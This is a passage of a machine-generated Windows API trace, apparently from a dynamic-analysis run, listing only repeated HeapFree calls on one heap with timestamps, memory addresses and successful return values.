	[0083.154] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0083.156] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0083.156] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4328798 | out: hHeap=0x4f0000) returned 1
	[0083.160] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0083.165] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0083.169] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0083.170] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0083.171] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0083.172] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0083.173] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0083.175] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0083.178] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0083.178] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0083.178] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0083.181] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0083.181] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0083.182] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0083.182] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42939d8 | out: hHeap=0x4f0000) returned 1
	[0083.186] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0083.187] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0083.190] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0083.190] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0083.190] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0083.191] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0083.193] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0083.194] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0083.194] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0083.194] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0083.194] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0083.195] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4328798 | out: hHeap=0x4f0000) returned 1
	[0083.494] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42939d8 | out: hHeap=0x4f0000) returned 1
	[0083.506] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42939d8 | out: hHeap=0x4f0000) returned 1
	[0083.512] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0083.512] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0083.518] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0083.520] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4328798 | out: hHeap=0x4f0000) returned 1
	[0083.525] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0083.527] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0083.527] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4328798 | out: hHeap=0x4f0000) returned 1
	[0083.532] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0085.112] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0085.114] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0085.116] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0085.117] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0085.121] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0085.121] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0085.122] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0085.124] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0085.124] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0085.125] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0085.128] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0085.128] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0085.129] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0085.129] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0085.129] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0085.130] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0085.130] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0085.130] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0085.130] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0085.130] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0085.130] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0085.132] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0085.132] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0085.133] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0085.133] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4328798 | out: hHeap=0x4f0000) returned 1
	[0085.309] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0085.309] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0085.309] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4328798 | out: hHeap=0x4f0000) returned 1
	[0085.323] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0085.323] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0085.323] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4328798 | out: hHeap=0x4f0000) returned 1
	[0085.329] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0085.334] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0085.336] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0085.336] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4328798 | out: hHeap=0x4f0000) returned 1
	[0085.339] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0085.339] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0085.339] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4328798 | out: hHeap=0x4f0000) returned 1
	[0085.341] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0085.343] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0085.344] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0085.345] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0085.345] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0085.348] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0085.348] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0085.349] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0085.349] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0085.349] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0085.349] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4328798 | out: hHeap=0x4f0000) returned 1
	[0085.841] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0085.851] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0085.851] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0085.854] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0085.854] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4328798 | out: hHeap=0x4f0000) returned 1
	[0085.863] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0085.884] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0085.886] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0085.888] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0085.888] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0085.888] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0085.888] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4328798 | out: hHeap=0x4f0000) returned 1
	[0085.891] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0085.891] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0085.891] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4328798 | out: hHeap=0x4f0000) returned 1
	[0085.893] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0085.893] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0085.893] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4328798 | out: hHeap=0x4f0000) returned 1
	[0085.893] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0085.893] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0085.893] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4328798 | out: hHeap=0x4f0000) returned 1
	[0085.893] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0085.897] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0086.325] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0086.326] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0086.326] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0086.327] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0086.327] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0086.327] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0086.327] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0086.328] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0086.328] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0086.328] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0086.328] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0086.329] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0086.329] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0086.329] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0086.331] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0086.333] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0086.333] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0086.333] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0086.333] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0086.334] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0086.334] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4328798 | out: hHeap=0x4f0000) returned 1
	[0086.337] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0086.338] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0086.338] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4328798 | out: hHeap=0x4f0000) returned 1
	[0086.344] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0086.345] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0086.345] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4328798 | out: hHeap=0x4f0000) returned 1
	[0086.348] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0086.350] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0086.351] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0086.352] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0086.353] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0086.356] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0086.356] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0086.356] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4328798 | out: hHeap=0x4f0000) returned 1
	[0086.361] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0086.362] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0086.362] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4328798 | out: hHeap=0x4f0000) returned 1
	[0086.363] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0086.364] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0086.366] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0086.366] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0086.366] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0086.366] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0086.368] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0086.368] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0086.368] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4328798 | out: hHeap=0x4f0000) returned 1
	[0086.638] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0086.640] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0086.640] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0086.942] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0086.947] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42939d8 | out: hHeap=0x4f0000) returned 1
	[0086.956] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0086.969] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0086.982] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0086.983] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0086.984] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42939d8 | out: hHeap=0x4f0000) returned 1
	[0086.984] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0086.985] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0086.986] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0086.986] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0086.988] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0086.988] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4328798 | out: hHeap=0x4f0000) returned 1
	[0086.990] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0086.990] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0086.990] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4328798 | out: hHeap=0x4f0000) returned 1
	[0086.992] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0086.992] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0086.992] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0086.992] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4328798 | out: hHeap=0x4f0000) returned 1
	[0086.994] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0086.994] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0086.994] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4328798 | out: hHeap=0x4f0000) returned 1
	[0086.995] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0086.997] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0086.997] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0087.500] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0087.500] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0087.502] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0087.503] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0087.506] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0087.507] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0087.515] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0087.516] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0087.516] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0087.516] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0087.516] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0087.520] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0087.520] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0087.525] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42939d8 | out: hHeap=0x4f0000) returned 1
	[0087.527] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42939d8 | out: hHeap=0x4f0000) returned 1
	[0087.527] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42939d8 | out: hHeap=0x4f0000) returned 1
	[0087.533] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42939d8 | out: hHeap=0x4f0000) returned 1
	[0087.534] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43487a8 | out: hHeap=0x4f0000) returned 1
	[0087.534] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0087.534] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0087.537] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0087.538] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
	[0087.541] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42b39e8 | out: hHeap=0x4f0000) returned 1
	[0087.544] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42b39e8 | out: hHeap=0x4f0000) returned 1
	[0087.544] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42939d8 | out: hHeap=0x4f0000) returned 1
	[0087.546] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42939d8 | out: hHeap=0x4f0000) returned 1
	[0087.547] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42939d8 | out: hHeap=0x4f0000) returned 1
	[0087.548] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0087.548] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43387a0 | out: hHeap=0x4f0000) returned 1
